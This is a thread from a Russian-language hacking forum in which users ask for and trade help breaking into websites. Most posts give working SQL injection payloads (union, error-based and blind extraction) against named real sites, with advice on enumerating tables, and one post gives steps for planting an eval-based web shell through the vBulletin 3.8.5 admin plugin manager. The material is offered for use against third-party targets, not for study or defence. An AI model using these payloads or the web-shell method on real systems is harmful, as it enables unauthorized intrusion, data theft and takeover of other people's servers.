Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    ктото с таким сталкивался?
    http://www.chinashopunion.com/productinfo.php?id=109+/*!UnIoN+SeLeCt*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
     
  2. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.chinashopunion.com/productinfo.php?id=(select+1+from+(select+count(0),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)
     
    _________________________
  3. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    выдает:
     
  4. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    Он выдаёт при запросе http://www.chinashopunion.com/productinfo.php?id=(select+1+from+(select+count(0),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+0,1)a)
    Duplicate entry 'CHARACTER_SETS1' for key 1 То есть имя первой таблицы. Лимитом вот так перебирай их, лимит в середине запроса.
     
    2 people like this.
  5. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    547, ты пробелы убери >
     
    _________________________
    1 person likes this.
  6. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    да я на самом деле шарю error based но иногда теряю бдительность:)
    спасибо за помощь,убрал пробелы и все ок:)
     
  7. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    472
    Likes Received:
    780
    Reputations:
    313
    http://arbaleta.net/detail/1283'/
    wtf?
     
  8. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    По-моему там ничего нет.
     
  9. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    Просто ошибка вроде.
     
  10. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    есть скуля
    http://www.libyaonline.com/business/pages.php?cid=298 order by 1 --
    пишу union пишет ошибку
    http://www.libyaonline.com/business/pages.php?cid=298%20union%20select%201/*
    пробывал ч-з blind не выходит
     
  11. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    http://www.libyaonline.com/business/pages.php?cid=298+and+ascii(substring((select+1+from+users+limit+0,1),1,1))>1--

    или

    http://www.libyaonline.com/business/pages.php
    ?cid=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from users group by x)a)--
     
    #14871 R1dex, 22 Sep 2010
    Last edited: 22 Sep 2010
    1 person likes this.
  12. AloneKiller

    AloneKiller Banned

    Joined:
    15 Sep 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, не подскажите как залить шел из админки воблы 3.8.5 ?
     
  13. Gedj

    Gedj Elder - Старейшина

    Joined:
    15 Sep 2008
    Messages:
    86
    Likes Received:
    30
    Reputations:
    2
    Через модули тем куча читай
     
  14. gabarea

    gabarea New Member

    Joined:
    30 Mar 2010
    Messages:
    30
    Likes Received:
    2
    Reputations:
    1
    http://www.realitytvworld.com/index/articles/summary.php?i=133


    shell_c0de:Еще раз такой пост увижу в БАН!
    вам влом описать суть вопроса или тут должны догодатся и раскручивать вам ?
     
    #14874 gabarea, 23 Sep 2010
    Last edited by a moderator: 23 Sep 2010
  15. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    http://www.realitytvworld.com/index/articles/summary.php?i=133 or(1,2)=(select*from(select name_const((select+version()),1),name_const((select+version()),1))a)
     
    #14875 R1dex, 23 Sep 2010
    Last edited: 23 Sep 2010
    2 people like this.
  16. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    372
    Likes Received:
    54
    Reputations:
    4
    помогите найти админку. Нашел /controlpanel/ & /login.php
    Залогинился в логин.пхп как админ, а вот саму админку найти не могу=(
     
  17. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Ссылку не выложишь? Как это: авторизацию прошел и никуда не редиректили?
     
  18. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Извини не выдержал.... У тебя перед глазами сайт и ты не нашёл где админка, а хочешь что бы мы могли угадать по двум словам? =)


    Лан чтоб уж не пустозвонить ... ты из какого браузера заходишь? Иногда, бывает, что только в осле нормально работают некоторые админки. Так же может у тебя появились полномочия править статьи.. новости... походи по сайту и посмотри....
     
  19. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    245
    Likes Received:
    119
    Reputations:
    40
    В админке: Plugins & Products -> Plugin Manager -> [Add New Plugin]

    вписываем eval($_REQUEST[cmd]); в любой темплейт, например в faq_complete, Plugin is Active выставляем "Yes" и сохраняем

    шелл будет тут:
    http://localhost/forum/faq.php?cmd=phpinfo();
     
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,549
    Likes Received:
    1,244
    Reputations:
    273
    К чему весь этот цирк? потом все новичку привыкают при первом же вопросе постить в эту ветку, которая повторяет по тысячному разу одни и те же вопросы...посылать надо в поиск ...или если и хочется поможь то непосредственно линк на ветку, сейчас начнутся вопросы что такое евал итд и тп...
     
Loading...
Thread Status:
Not open for further replies.